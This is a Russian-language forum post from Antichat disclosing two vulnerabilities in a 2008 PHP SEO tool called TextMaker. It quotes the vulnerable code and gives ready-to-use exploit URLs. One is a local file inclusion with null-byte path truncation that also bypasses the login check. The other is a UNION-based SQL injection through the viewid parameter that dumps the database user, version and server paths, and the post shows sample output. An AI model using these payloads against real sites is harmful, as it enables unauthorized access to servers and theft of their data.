|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами:
9976706
Репутация:
1934
|
|
seo тулза TextMaker от SibirDesign 2008
SibirDesign AllRightReserved 2008
наверное, пользы от этого сообщения будет мало, но все равно выложу))
===================
LFI
magic_quotes = off
PHP код:
/index.php
...
include("login.php");
...
switch ($_GET['cmd']) {
case "config":
...
case "block":
$sym=array("q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m");
$sym2=array("Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M");
$_GET['type']=str_replace($sym2,$sym,$_GET['type']);
$_GET['use']=str_replace($sym2,$sym,$_GET['use']);
include("block/".$_GET['type']."/".$_GET['use'].".php");
break;
...
PHP код:
/login.php
...
if(($_GET['cmd']!="block")and($_GET['type']!='export')and($_GET['use']!='rss')){
if(isset($_POST['login']) and isset($_POST['password'])){
$_SESSION['login']=$_POST['login'];
$_SESSION['password']=$_POST['password'];
}
if(($_SESSION['login']!=$_auto['login'])or($_SESSION['password']!=$_auto['password'])){
include("form/login.htm");
exit();
}
}
...
exploit:
http://textmaker/?cmd=block&use=rss&type=../sql.txt%00 ====================
SQL-injection
magic_quotes = off
PHP код:
/index.php
...
как и при LFI. Но не меняя параметров $_GET['type'] и $_GET['use'] инклудится файл block\export\rss.php
...
PHP код:
/block/export/rss.php
...
if(@$_GET['done']!='yes'){
...
}else{
header("Content-Type: text/xml; charset=utf-8");
$sql3="SELECT * FROM `project` WHERE `id` LIKE '".@$_GET['viewid']."'";
$result1 = $db->sql_query($sql3);
$project=$db->sql_fetchrow($result1);
$sql3="SELECT * FROM `text` WHERE `idproject` LIKE '".@$_GET['viewid']."'";
$result1 = $db->sql_query($sql3);
$num=$db->sql_numrows($result1);
...
exploit:
http://textmaker/index.php?cmd=block&type=export&use=rss&done=yes&v iewid=1%27+union+select+1,2,concat_ws(0x20,user(), database(),version(),@@basedir,@@datadir,@@tmpdir, @@version_compile_os),4,5,6,7,8,9,10,11+--%20- в исходнике
<link>root@localhost textmaker 5.0.45-community-nt \usr\local\mysql5\ \usr\local\mysql5\data\ /tmp Win32</link>
__________________
Появляюсь редко. Важные дела в реале.
|